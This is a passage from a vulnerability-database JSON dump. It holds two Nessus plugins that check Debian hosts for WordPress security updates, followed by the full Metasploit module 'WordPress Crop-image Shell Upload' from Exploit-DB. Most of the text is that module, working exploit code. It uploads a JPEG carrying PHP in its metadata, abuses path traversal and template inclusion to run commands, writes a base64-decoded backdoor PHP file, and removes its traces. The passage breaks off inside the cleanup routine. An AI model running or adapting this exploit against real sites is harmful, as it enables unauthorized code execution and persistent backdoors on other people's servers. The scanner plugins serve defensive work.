metadata.\n\nCVE-2019-9787\n\nwordpress does not properly filter comment content, leading to Remote\nCode Execution by unauthenticated users in a default configuration.\nThis occurs because CSRF protection is mishandled, and because Search\nEngine Optimization of A elements is performed incorrectly, leading to\nXSS. The XSS results in administrative access.\n\nFor Debian 8 'Jessie', these problems have been fixed in version\n4.1.26+dfsg-1+deb8u1.\n\nWe recommend that you upgrade your wordpress packages.\n\nNOTE: Tenable Network Security has extracted the preceding description\nblock directly from the DLA security advisory. Tenable has attempted\nto automatically clean and format it as much as possible without\nintroducing additional issues.", "edition": 16, "cvss3": {"score": 8.8, "vector": "AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}, "published": "2019-04-01T00:00:00", "title": "Debian DLA-1742-1 : wordpress security update", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-8942", "CVE-2019-9787"], "modified": "2019-04-01T00:00:00", "cpe": ["p-cpe:/a:debian:debian_linux:wordpress-theme-twentythirteen", "p-cpe:/a:debian:debian_linux:wordpress", "cpe:/o:debian:debian_linux:8.0", "p-cpe:/a:debian:debian_linux:wordpress-theme-twentyfourteen", "p-cpe:/a:debian:debian_linux:wordpress-l10n", "p-cpe:/a:debian:debian_linux:wordpress-theme-twentyfifteen"], "id": "DEBIAN_DLA-1742.NASL", "href": "https://www.tenable.com/plugins/nessus/123529", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Debian Security Advisory DLA-1742-1. The text\n# itself is copyright (C) Software in the Public Interest, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(123529);\n script_version(\"1.7\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/11\");\n\n script_cve_id(\"CVE-2019-8942\", \"CVE-2019-9787\");\n\n script_name(english:\"Debian DLA-1742-1 : wordpress security update\");\n script_summary(english:\"Checks dpkg output for the updated packages.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Debian host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Simon Scannell of Ripstech Technologies discovered multiple\nvulnerabilities in wordpress, a web blogging manager.\n\nCVE-2019-8942\n\nremote code execution in wordpress because an _wp_attached_file Post\nMeta entry can be changed to an arbitrary string, such as one ending\nwith a .jpg?file.php substring. An attacker with author privileges can\nexecute arbitrary code by uploading a crafted image containing PHP\ncode in the Exif metadata.\n\nCVE-2019-9787\n\nwordpress does not properly filter comment content, leading to Remote\nCode Execution by unauthenticated users in a default configuration.\nThis occurs because CSRF protection is mishandled, and because Search\nEngine Optimization of A elements is performed incorrectly, leading to\nXSS. The XSS results in administrative access.\n\nFor Debian 8 'Jessie', these problems have been fixed in version\n4.1.26+dfsg-1+deb8u1.\n\nWe recommend that you upgrade your wordpress packages.\n\nNOTE: Tenable Network Security has extracted the preceding description\nblock directly from the DLA security advisory. Tenable has attempted\nto automatically clean and format it as much as possible without\nintroducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://lists.debian.org/debian-lts-announce/2019/03/msg00044.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://packages.debian.org/source/jessie/wordpress\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Upgrade the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2019-9787\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'WordPress Crop-image Shell Upload');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:wordpress\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:wordpress-l10n\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:wordpress-theme-twentyfifteen\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:wordpress-theme-twentyfourteen\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:wordpress-theme-twentythirteen\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:debian:debian_linux:8.0\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/02/20\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/03/31\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/04/01\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2019-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Debian Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/Debian/release\", \"Host/Debian/dpkg-l\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"debian_package.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Debian/release\")) audit(AUDIT_OS_NOT, \"Debian\");\nif (!get_kb_item(\"Host/Debian/dpkg-l\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\nif (deb_check(release:\"8.0\", prefix:\"wordpress\", reference:\"4.1.26+dfsg-1+deb8u1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"wordpress-l10n\", reference:\"4.1.26+dfsg-1+deb8u1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"wordpress-theme-twentyfifteen\", reference:\"4.1.26+dfsg-1+deb8u1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"wordpress-theme-twentyfourteen\", reference:\"4.1.26+dfsg-1+deb8u1\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"wordpress-theme-twentythirteen\", reference:\"4.1.26+dfsg-1+deb8u1\")) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:deb_report_get());\n else security_warning(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-01-01T01:50:09", "description": "Several vulnerabilities were discovered in Wordpress, a web blogging\ntool. They allowed remote attackers to perform various Cross-Side\nScripting (XSS) and PHP injections attacks, delete files, leak\npotentially sensitive data, create posts of unauthorized types, or\ncause denial-of-service by application crash.", "edition": 16, "cvss3": {"score": 9.8, "vector": "AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}, "published": "2019-03-04T00:00:00", "title": "Debian DSA-4401-1 : wordpress - security update", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-8942", "CVE-2018-20149", "CVE-2018-20152", "CVE-2018-20153", "CVE-2018-20151", "CVE-2018-20150", "CVE-2018-20148", "CVE-2018-20147"], "modified": "2021-01-02T00:00:00", "cpe": ["p-cpe:/a:debian:debian_linux:wordpress", "cpe:/o:debian:debian_linux:9.0"], "id": "DEBIAN_DSA-4401.NASL", "href": "https://www.tenable.com/plugins/nessus/122551", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Debian Security Advisory DSA-4401. The text \n# itself is copyright (C) Software in the Public Interest, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(122551);\n script_version(\"1.4\");\n script_cvs_date(\"Date: 2019/04/10 16:10:16\");\n\n script_cve_id(\"CVE-2018-20147\", \"CVE-2018-20148\", \"CVE-2018-20149\", \"CVE-2018-20150\", \"CVE-2018-20151\", \"CVE-2018-20152\", \"CVE-2018-20153\", \"CVE-2019-8942\");\n script_xref(name:\"DSA\", value:\"4401\");\n\n script_name(english:\"Debian DSA-4401-1 : wordpress - security update\");\n script_summary(english:\"Checks dpkg output for the updated package\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Debian host is missing a security-related update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Several vulnerabilities were discovered in Wordpress, a web blogging\ntool. They allowed remote attackers to perform various Cross-Side\nScripting (XSS) and PHP injections attacks, delete files, leak\npotentially sensitive data, create posts of unauthorized types, or\ncause denial-of-service by application crash.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=916403\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/source-package/wordpress\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://packages.debian.org/source/stretch/wordpress\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.debian.org/security/2019/dsa-4401\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\n\"Upgrade the wordpress packages.\n\nFor the stable distribution (stretch), these problems have been fixed\nin version 4.7.5+dfsg-2+deb9u5.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'WordPress Crop-image Shell Upload');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:wordpress\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:debian:debian_linux:9.0\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2018/12/14\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/03/01\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/03/04\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Debian Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/Debian/release\", \"Host/Debian/dpkg-l\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"debian_package.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Debian/release\")) audit(AUDIT_OS_NOT, \"Debian\");\nif (!get_kb_item(\"Host/Debian/dpkg-l\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\nif (deb_check(release:\"9.0\", prefix:\"wordpress\", reference:\"4.7.5+dfsg-2+deb9u5\")) flag++;\nif (deb_check(release:\"9.0\", prefix:\"wordpress-l10n\", reference:\"4.7.5+dfsg-2+deb9u5\")) flag++;\nif (deb_check(release:\"9.0\", prefix:\"wordpress-theme-twentyfifteen\", reference:\"4.7.5+dfsg-2+deb9u5\")) flag++;\nif (deb_check(release:\"9.0\", prefix:\"wordpress-theme-twentyseventeen\", reference:\"4.7.5+dfsg-2+deb9u5\")) flag++;\nif (deb_check(release:\"9.0\", prefix:\"wordpress-theme-twentysixteen\", reference:\"4.7.5+dfsg-2+deb9u5\")) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:deb_report_get());\n else security_hole(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "exploitdb": [{"lastseen": "2019-04-05T13:53:43", "description": "", "published": "2019-04-05T00:00:00", "type": "exploitdb", "title": "WordPress 5.0.0 - Crop-image Shell Upload (Metasploit)", "bulletinFamily": "exploit", "cvelist": ["CVE-2019-8943", "CVE-2019-8942"], "modified": "2019-04-05T00:00:00", "id": "EDB-ID:46662", "href": "https://www.exploit-db.com/exploits/46662", "sourceData": "##\r\n# This module requires Metasploit: https://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nclass MetasploitModule < Msf::Exploit::Remote\r\n Rank = ExcellentRanking\r\n\r\n include Msf::Exploit::FileDropper\r\n include Msf::Exploit::Remote::HTTP::Wordpress\r\n\r\n def initialize(info = {})\r\n super(update_info(\r\n info,\r\n 'Name' => 'WordPress Crop-image Shell Upload',\r\n 'Description' => %q{\r\n This module exploits a path traversal and a local file inclusion\r\n vulnerability on WordPress versions 5.0.0 and <= 4.9.8.\r\n The crop-image function allows a user, with at least author privileges,\r\n to resize an image and perform a path traversal by changing the _wp_attached_file\r\n reference during the upload. The second part of the exploit will include\r\n this image in the current theme by changing the _wp_page_template attribute\r\n when creating a post.\r\n\r\n This exploit module only works for Unix-based systems currently.\r\n },\r\n 'License' => MSF_LICENSE,\r\n 'Author' =>\r\n [\r\n 'RIPSTECH Technology', # Discovery\r\n 'Wilfried Becard <wilfried.becard@synacktiv.com>' # Metasploit module\r\n ],\r\n 'References' =>\r\n [\r\n [ 'CVE', '2019-8942' ],\r\n [ 'CVE', '2019-8943' ],\r\n [ 'URL', 'https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/']\r\n ],\r\n 'DisclosureDate' => 'Feb 19 2019',\r\n 'Platform' => 'php',\r\n 'Arch' => ARCH_PHP,\r\n 'Targets' => [['WordPress', {}]],\r\n 'DefaultTarget' => 0\r\n ))\r\n\r\n register_options(\r\n [\r\n OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),\r\n OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])\r\n ])\r\n end\r\n\r\n def check\r\n cookie = wordpress_login(username, password)\r\n if cookie.nil?\r\n store_valid_credential(user: username, private: password, proof: cookie)\r\n return CheckCode::Safe\r\n end\r\n\r\n CheckCode::Appears\r\n end\r\n\r\n def username\r\n datastore['USERNAME']\r\n end\r\n\r\n def password\r\n datastore['PASSWORD']\r\n end\r\n\r\n def get_wpnonce(cookie)\r\n uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'media-new.php')\r\n res = send_request_cgi(\r\n 'method' => 'GET',\r\n 'uri' => uri,\r\n 'cookie' => cookie\r\n )\r\n if res && res.code == 200 && res.body && !res.body.empty?\r\n res.get_hidden_inputs.first[\"_wpnonce\"]\r\n end\r\n end\r\n\r\n def get_wpnonce2(image_id, cookie)\r\n uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php')\r\n res = send_request_cgi(\r\n 'method' => 'GET',\r\n 'uri' => uri,\r\n 'cookie' => cookie,\r\n 'vars_get' => {\r\n 'post' => image_id,\r\n 'action' => \"edit\"\r\n }\r\n )\r\n if res && res.code == 200 && res.body && !res.body.empty?\r\n tmp = res.get_hidden_inputs\r\n wpnonce2 = tmp[1].first[1]\r\n end\r\n end\r\n\r\n def get_current_theme\r\n uri = normalize_uri(datastore['TARGETURI'])\r\n res = send_request_cgi!(\r\n 'method' => 'GET',\r\n 'uri' => uri\r\n )\r\n fail_with(Failure::NotFound, 'Failed to access Wordpress page to retrieve theme.') unless res && res.code == 200 && res.body && !res.body.empty?\r\n\r\n theme = res.body.scan(/\\/wp-content\\/themes\\/(\\w+)\\//).flatten.first\r\n fail_with(Failure::NotFound, 'Failed to retrieve theme') unless theme\r\n\r\n theme\r\n end\r\n\r\n def get_ajaxnonce(cookie)\r\n uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php')\r\n res = send_request_cgi(\r\n 'method' => 'POST',\r\n 'uri' => uri,\r\n 'cookie' => cookie,\r\n 'vars_post' => {\r\n 'action' => 'query-attachments',\r\n 'post_id' => '0',\r\n 'query[item]' => '43',\r\n 'query[orderby]' => 'date',\r\n 'query[order]' => 'DESC',\r\n 'query[posts_per_page]' => '40',\r\n 'query[paged]' => '1'\r\n }\r\n )\r\n fail_with(Failure::NotFound, 'Unable to reach page to retrieve the ajax nonce') unless res && res.code == 200 && res.body && !res.body.empty?\r\n a_nonce = res.body.scan(/\"edit\":\"(\\w+)\"/).flatten.first\r\n fail_with(Failure::NotFound, 'Unable to retrieve the ajax nonce') unless a_nonce\r\n\r\n a_nonce\r\n end\r\n\r\n def upload_file(img_name, wp_nonce, cookie)\r\n img_data = %w[\r\n FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 00 60 00 60 00 00 FF ED 00 38 50 68 6F\r\n 74 6F 73 68 6F 70 20 33 2E 30 00 38 42 49 4D 04 04 00 00 00 00 00 1C 1C 02 74 00\r\n 10 3C 3F 3D 60 24 5F 47 45 54 5B 30 5D 60 3B 3F 3E 1C 02 00 00 02 00 04 FF FE 00\r\n 3B 43 52 45 41 54 4F 52 3A 20 67 64 2D 6A 70 65 67 20 76 31 2E 30 20 28 75 73 69\r\n 6E 67 20 49 4A 47 20 4A 50 45 47 20 76 38 30 29 2C 20 71 75 61 6C 69 74 79 20 3D\r\n 20 38 32 0A FF DB 00 43 00 06 04 04 05 04 04 06 05 05 05 06 06 06 07 09 0E 09 09\r\n 08 08 09 12 0D 0D 0A 0E 15 12 16 16 15 12 14 14 17 1A 21 1C 17 18 1F 19 14 14 1D\r\n 27 1D 1F 22 23 25 25 25 16 1C 29 2C 28 24 2B 21 24 25 24 FF DB 00 43 01 06 06 06\r\n 09 08 09 11 09 09 11 24 18 14 18 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24\r\n 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24\r\n 24 24 24 24 24 24 24 FF C0 00 11 08 00 C0 01 06 03 01 22 00 02 11 01 03 11 01 FF\r\n C4 00 1F 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06\r\n 07 08 09 0A 0B FF C4 00 B5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7D 01\r\n 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 A1 08 23 42 B1 C1\r\n 15 52 D1 F0 24 33 62 72 82 09 0A 16 17 18 19 1A 25 26 27 28 29 2A 34 35 36 37 38\r\n 39 3A 43 44 45 46 47 48 49 4A 53 54 55 56 57 58 59 5A 63 64 65 66 67 68 69 6A 73\r\n 74 75 76 77 78 79 7A 83 84 85 86 87 88 89 8A 92 93 94 95 96 97 98 99 9A A2 A3 A4\r\n A5 A6 A7 A8 A9 AA B2 B3 B4 B5 B6 B7 B8 B9 BA C2 C3 C4 C5 C6 C7 C8 C9 CA D2 D3 D4\r\n D5 D6 D7 D8 D9 DA E1 E2 E3 E4 E5 E6 E7 E8 E9 EA F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FF\r\n C4 00 1F 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06\r\n 07 08 09 0A 0B FF C4 00 B5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00\r\n 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 A1 B1 C1 09\r\n 23 33 52 F0 15 62 72 D1 0A 16 24 34 E1 25 F1 17 18 19 1A 26 27 28 29 2A 35 36 37\r\n 38 39 3A 43 44 45 46 47 48 49 4A 53 54 55 56 57 58 59 5A 63 64 65 66 67 68 69 6A\r\n 73 74 75 76 77 78 79 7A 82 83 84 85 86 87 88 89 8A 92 93 94 95 96 97 98 99 9A A2\r\n A3 A4 A5 A6 A7 A8 A9 AA B2 B3 B4 B5 B6 B7 B8 B9 BA C2 C3 C4 C5 C6 C7 C8 C9 CA D2\r\n D3 D4 D5 D6 D7 D8 D9 DA E2 E3 E4 E5 E6 E7 E8 E9 EA F2 F3 F4 F5 F6 F7 F8 F9 FA FF\r\n DA 00 0C 03 01 00 02 11 03 11 00 3F 00 3C 3F 3D 60 24 5F 47 45 54 5B 30 5D 60 3B\r\n 3F 3E\r\n ]\r\n img_data = [img_data.join].pack('H*')\r\n img_name += '.jpg'\r\n\r\n boundary = \"#{rand_text_alphanumeric(rand(10) + 5)}\"\r\n post_data = \"--#{boundary}\\r\\n\"\r\n post_data << \"Content-Disposition: form-data; name=\\\"name\\\"\\r\\n\"\r\n post_data << \"\\r\\n#{img_name}\\r\\n\"\r\n post_data << \"--#{boundary}\\r\\n\"\r\n post_data << \"Content-Disposition: form-data; name=\\\"action\\\"\\r\\n\"\r\n post_data << \"\\r\\nupload-attachment\\r\\n\"\r\n post_data << \"--#{boundary}\\r\\n\"\r\n post_data << \"Content-Disposition: form-data; name=\\\"_wpnonce\\\"\\r\\n\"\r\n post_data << \"\\r\\n#{wp_nonce}\\r\\n\"\r\n post_data << \"--#{boundary}\\r\\n\"\r\n post_data << \"Content-Disposition: form-data; name=\\\"async-upload\\\"; filename=\\\"#{img_name}\\\"\\r\\n\"\r\n post_data << \"Content-Type: image/jpeg\\r\\n\"\r\n post_data << \"\\r\\n#{img_data}\\r\\n\"\r\n post_data << \"--#{boundary}--\\r\\n\"\r\n print_status(\"Uploading payload\")\r\n upload_uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'async-upload.php')\r\n\r\n res = send_request_cgi(\r\n 'method' => 'POST',\r\n 'uri' => upload_uri,\r\n 'ctype' => \"multipart/form-data; boundary=#{boundary}\",\r\n 'data' => post_data,\r\n 'cookie' => cookie\r\n )\r\n fail_with(Failure::UnexpectedReply, 'Unable to upload image') unless res && res.code == 200 && res.body && !res.body.empty?\r\n print_good(\"Image uploaded\")\r\n res = JSON.parse(res.body)\r\n image_id = res[\"data\"][\"id\"]\r\n update_nonce = res[\"data\"][\"nonces\"][\"update\"]\r\n filename = res[\"data\"][\"filename\"]\r\n return filename, image_id, update_nonce\r\n end\r\n\r\n def image_editor(img_name, ajax_nonce, image_id, cookie)\r\n uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php')\r\n res = send_request_cgi(\r\n 'method' => 'POST',\r\n 'uri' => uri,\r\n 'cookie' => cookie,\r\n 'vars_post' => {\r\n 'action' => 'image-editor',\r\n '_ajax_nonce' => ajax_nonce,\r\n 'postid' => image_id,\r\n 'history' => '[{\"c\":{\"x\":0,\"y\":0,\"w\":400,\"h\":300}}]',\r\n 'target' => 'all',\r\n 'context' => '',\r\n 'do' => 'save'\r\n }\r\n )\r\n fail_with(Failure::NotFound, 'Unable to access page to retrieve filename') unless res && res.code == 200 && res.body && !res.body.empty?\r\n filename = res.body.scan(/(#{img_name}-\\S+)-/).flatten.first\r\n fail_with(Failure::NotFound, 'Unable to retrieve file name') unless filename\r\n\r\n filename << '.jpg'\r\n end\r\n\r\n def change_path(wpnonce2, image_id, filename, current_date, path, cookie)\r\n uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php')\r\n res = send_request_cgi(\r\n 'method' => 'POST',\r\n 'uri' => uri,\r\n 'cookie' => cookie,\r\n 'vars_post' => {\r\n '_wpnonce' => wpnonce2,\r\n 'action' => 'editpost',\r\n 'post_ID' => image_id,\r\n 'meta_input[_wp_attached_file]' => \"#{current_date}#{filename}#{path}\"\r\n }\r\n )\r\n end\r\n\r\n def crop_image(image_id, ajax_nonce, cookie)\r\n uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php')\r\n res = send_request_cgi(\r\n 'method' => 'POST',\r\n 'uri' => uri,\r\n 'cookie' => cookie,\r\n 'vars_post' => {\r\n 'action' => 'crop-image',\r\n '_ajax_nonce' => ajax_nonce,\r\n 'id' => image_id,\r\n 'cropDetails[x1]' => 0,\r\n 'cropDetails[y1]' => 0,\r\n 'cropDetails[width]' => 400,\r\n 'cropDetails[height]' => 300,\r\n 'cropDetails[dst_width]' => 400,\r\n 'cropDetails[dst_height]' => 300\r\n }\r\n )\r\n end\r\n\r\n def include_theme(shell_name, cookie)\r\n uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post-new.php')\r\n res = send_request_cgi(\r\n 'method' => 'POST',\r\n 'uri' => uri,\r\n 'cookie' => cookie\r\n )\r\n if res && res.code == 200 && res.body && !res.body.empty?\r\n wpnonce2 = res.body.scan(/name=\"_wpnonce\" value=\"(\\w+)\"/).flatten.first\r\n post_id = res.body.scan(/\"post\":{\"id\":(\\w+),/).flatten.first\r\n fail_with(Failure::NotFound, 'Unable to retrieve the second wpnonce and the post id') unless wpnonce2 && post_id\r\n\r\n post_title = Rex::Text.rand_text_alpha(10)\r\n uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php')\r\n res = send_request_cgi(\r\n 'method' => 'POST',\r\n 'uri' => uri,\r\n 'cookie' => cookie,\r\n 'vars_post' => {\r\n '_wpnonce'=> wpnonce2,\r\n 'action' => 'editpost',\r\n 'post_ID' => post_id,\r\n 'post_title' => post_title,\r\n 'post_name' => post_title,\r\n 'meta_input[_wp_page_template]' => \"cropped-#{shell_name}.jpg\"\r\n }\r\n )\r\n fail_with(Failure::NotFound, 'Failed to retrieve post id') unless res && res.code == 302\r\n post_id\r\n end\r\n end\r\n\r\n def check_for_base64(cookie, post_id)\r\n uri = normalize_uri(datastore['TARGETURI'])\r\n # Test if base64 is on target\r\n test_string = 'YmFzZTY0c3BvdHRlZAo='\r\n res = send_request_cgi!(\r\n 'method' => 'GET',\r\n 'uri' => uri,\r\n 'cookie' => cookie,\r\n 'vars_get' => {\r\n 'p' => post_id,\r\n '0' => \"echo #{test_string} | base64 -d\"\r\n }\r\n )\r\n fail_with(Failure::NotFound, 'Unable to retrieve response to base64 command') unless res && res.code == 200 && !res.body.empty?\r\n\r\n fail_with(Failure::NotFound, \"Can't find base64 decode on target\") unless res.body.include?(\"base64spotted\")\r\n # Execute payload with base64 decode\r\n @backdoor = Rex::Text.rand_text_alpha(10)\r\n encoded = Rex::Text.encode_base64(payload.encoded)\r\n res = send_request_cgi!(\r\n 'method' => 'GET',\r\n 'uri' => uri,\r\n 'cookie' => cookie,\r\n 'vars_get' => {\r\n 'p' => post_id,\r\n '0' => \"echo #{encoded} | base64 -d > #{@backdoor}.php\"\r\n }\r\n )\r\n\r\n fail_with(Failure::NotFound, 'Failed to send payload to target') unless res && res.code == 200 && !res.body.empty?\r\n send_request_cgi(\r\n 'method' => 'GET',\r\n 'uri' => normalize_uri(datastore['TARGETURI'], \"#{@backdoor}.php\"),\r\n 'cookie' => cookie\r\n )\r\n end\r\n\r\n def wp_cleanup(shell_name, post_id, cookie)\r\n print_status('Attempting to clean up files...')\r\n uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php')\r\n res = send_request_cgi(\r\n 'method' => 'POST',\r\n 'uri' => uri,\r\n 'cookie' => cookie,\r\n 'vars_post' => { 'action' => \"query-attachments\" }\r\n )\r\n\r\n fail_with(Failure::NotFound, 'Failed to receive a response for uploaded file') unless res && res.code == 200 && !res.body.empty?\r\n infos = res.body.scan(/id\":(\\d+),.*filename\":\"cropped-#{shell_name}\".*?\"delete\":\"(\\w+)\".*\"id\":(\\d+),.*filename\":\"cropped-x\".*?\"delete\":\"(\\w+)\".*\"id\":(\\d+),.*filename\":\"#{shell_name}\".*?\"delete\":\"(\\w+)\"/).flatten\r\n id1, id2, id3 = infos[0], infos[2], infos[4]\r\n delete_nonce1, delete_nonce2, delete_nonce3 = infos[1], infos[3], infos[5]\r\n for i in (0...6).step(2)\r\n res = send_request_cgi(\r\n 'method' => 'POST',\r\n 'uri' => uri,\r\n 'cookie' => cookie,\r\n 'vars_post' => {\r\n 'action' => \"delete-post\",\r\n 'id' => infos[i],\r\n '_wpnonce' => infos[i+1]\r\n }\r\n )\r\n end\r\n\r\n uri1 = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'edit.php')\r\n res = send_request_cgi(\r\n 'method' => 'GET',\r\n 'uri' => uri1,\r\n 'cookie' => cookie\r\n )\r\n\r\n if res && res.code == 200 && res.body && !res.body.empty?\r\n post_nonce = res.body.scan(/post=#{post_id}&action=trash&_wpnonce=(\\w+)/).flatten.first\r\n fail_with(Failure::NotFound, 'Unable to retrieve post nonce') unless post_nonce\r\n uri2 = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php')\r\n\r\n res = send_request_cgi(\r\n 'method' => 'GET',\r\n 'uri' => uri2,\r\n 'cookie' => cookie,\r\n 'vars_get' => {\r\n 'post' => post_id,\r\n 'action' => 'trash',\r\n '_wpnonce' => post_nonce\r\n }\r\n )\r\n\r\n fail_with(Failure::NotFound, 'Unable to retrieve response') unless res && res.code == 302\r\n res = send_request_cgi(\r\n 'method' => 'GET',\r\n 'uri' => uri1,\r\n 'cookie' => cookie,\r\n 'vars_get' => {\r\n 'post_status' => 